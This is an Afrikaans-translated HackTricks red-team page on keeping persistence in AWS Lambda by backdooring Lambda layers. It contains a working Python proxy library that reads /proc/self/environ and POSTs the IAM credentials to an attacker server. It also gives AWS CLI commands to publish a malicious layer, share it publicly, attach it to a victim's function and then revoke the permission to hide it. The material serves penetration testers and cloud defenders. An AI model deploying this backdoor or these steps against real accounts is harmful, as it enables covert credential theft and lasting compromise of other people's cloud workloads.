AWS - Lambda Layers Persistence

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Lambda Lae

'n Lambda-laag is 'n .zip-lêerargief wat addisionele kode of ander inhoud kan bevat. 'n Laag kan biblioteke, 'n aangepaste uitvoering, data, of opsetlêers bevat.

Dit is moontlik om tot vyf lêers per funksie in te sluit. Wanneer jy 'n laag in 'n funksie insluit, word die inhoud onttrek na die /opt-gids in die uitvoeringsomgewing.

Standaard is die lêers wat jy skep privaat vir jou AWS-rekening. Jy kan kies om 'n laag met ander rekeninge te deel of om die laag publiek te maak. As jou funksies 'n laag verbruik wat deur 'n ander rekening gepubliseer is, kan jou funksies voortgaan om die laagweergawe te gebruik nadat dit uitgevee is, of nadat jou toestemming om die laag te gebruik, herroep is. Jy kan egter nie 'n nuwe funksie skep of funksies bywerk met 'n uitgevee laagweergawe nie.

Funksies wat as 'n houerbeeld ontplooi is, gebruik nie lêers nie. In plaas daarvan pak jy jou verkose uitvoering, biblioteke, en ander afhanklikhede in die houerbeeld in wanneer jy die beeld bou.

Python laaipad

Die laaipad wat Python in lambda sal gebruik, is die volgende:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Kyk hoe die tweede en derde posisies beset word deur gide waar lambda-lae hul lêers uitpak: /opt/python/lib/python3.9/site-packages en /opt/python

As 'n aanvaller daarin slaag om 'n gebruikte lambda laag te agterdeur of een by te voeg wat willekeurige kode uitvoer wanneer 'n algemene biblioteek gelaai word, sal hy in staat wees om skadelike kode uit te voer met elke lambda-aanroeping.

Daarom is die vereistes:

  • Kontroleer biblioteke wat deur die slagoffers se kode gelaai word

  • Skep 'n proksi-biblioteek met lambda-lae wat aangepaste kode uitvoer en die oorspronklike biblioteek laai.

Voorafgelaai biblioteke

Toe ek hierdie tegniek misbruik het, het ek 'n probleem gevind: Sommige biblioteke is reeds gelaai in die python-uitvoertyd wanneer jou kode uitgevoer word. Ek het verwag om dinge soos os of sys te vind, maar selfs die json-biblioteek was gelaai. Om hierdie volhardingstegniek te misbruik, moet die kode 'n nuwe biblioteek laai wat nie gelaai is wanneer die kode uitgevoer word nie.

Met 'n python-kode soos hierdie is dit moontlik om die lys van biblioteke wat vooraf gelaai is binne die python-uitvoertyd in lambda te verkry:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

En hierdie is die lys (kontroleer of biblioteke soos os of json reeds daar is)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

En hierdie is die lys van biblioteke wat lambda standaard geïnstalleer het: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Lambda Laag Agterdeur

In hierdie voorbeeld gaan ons aanneem dat die geteikende kode die invoer van csv invoer. Ons gaan die invoer van die csv-biblioteek agterdeur.

Om dit te doen, gaan ons die csv-gids skep met die lêer __init__.py daarin op 'n pad wat deur lambda gelaai word: /opt/python/lib/python3.9/site-packages Dan, wanneer die lambda uitgevoer word en probeer om csv te laai, sal ons __init__.py-lêer gelaai en uitgevoer word. Hierdie lêer moet:

  • Ons lading uitvoer

  • Die oorspronklike csv-bibliotheek laai

Ons kan beide doen met:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Dan, skep 'n zip met hierdie kode in die pad python/lib/python3.9/site-packages/__init__.py en voeg dit as 'n lambda-laag by.

Jy kan hierdie kode vind op https://github.com/carlospolop/LambdaLayerBackdoor

Die geïntegreerde payload sal die IAM-kredos na 'n bediener stuur DIE EERSTE KEER wat dit aangeroep word of NÁ 'n herstel van die lambda-houer (verandering van kode of koue lambda), maar ander tegnieke soos die volgende kan ook geïntegreer word:

pageAWS - Steal Lambda Requests

Eksterne Lêers

Let daarop dat dit moontlik is om lambda-lêers van eksterne rekeninge te gebruik. Verder kan 'n lambda 'n laag van 'n eksterne rekening gebruik selfs al het dit nie toestemmings nie. Let ook daarop dat die maksimum aantal lêers wat 'n lambda kan hê 5 is.

Daarom, om die veelsydigheid van hierdie tegniek te verbeter, kan 'n aanvaller:

  • 'n Bestaande laag van die gebruiker agterdeur

  • Skep 'n laag in sy rekening, gee die slagofferrekening toegang om die laag te gebruik, konfigureer die laag in die slagoffers Lambda en verwyder die toestemming.

  • Die Lambda sal steeds in staat wees om die laag te gebruik en die slagoffer sal nie 'n maklike manier hê om die kode van die lae af te laai nie (behalwe om 'n omgekeerde dop binne die lambda te kry)

  • Die slagoffer sal nie eksterne lêers sien wat met aws lambda list-layers gebruik word nie

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated